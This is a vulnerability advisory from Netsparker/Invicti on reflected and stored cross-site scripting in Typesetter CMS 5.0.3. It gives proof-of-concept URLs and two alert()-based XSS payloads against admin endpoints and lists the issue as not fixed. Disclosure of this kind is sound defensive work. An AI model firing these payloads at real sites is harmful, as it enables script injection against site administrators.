Reflected and Stored Cross-site Scripting Vulnerabilities in Typesetter CMS 5.0.3


Advisory by Netsparker (now Invicti)
Name: Reflected and Stored XSS Vulnerabilities in Typesetter CMS
Affected Software: Typesetter CMS
Affected Versions: 5.0.3
Vendor Homepage:
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-16-021

Technical Details

Proof of Concept URL for XSSes vulnerabilities in Typesetter CMS;

URL: http://{site}/{typesetter_path}/index.php/Admin_Theme_Content/Text?cmd=EditText&key='"--></style></scRipt><scRipt>alert(0x00C66A)</scRipt>
Parameter Name: key
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00C66A)</scRipt>

URL: http://{site}/{typesetter_path}/index.php/Admin/Extra
Parameter Name: type
Parameter Type: POST
Attack Pattern: <img src=x onerror=alert(21)>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

04 Aug 2016 – Issue reported
20 Dec 2016 – Advisory released

Credits & Authors

This issue has been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

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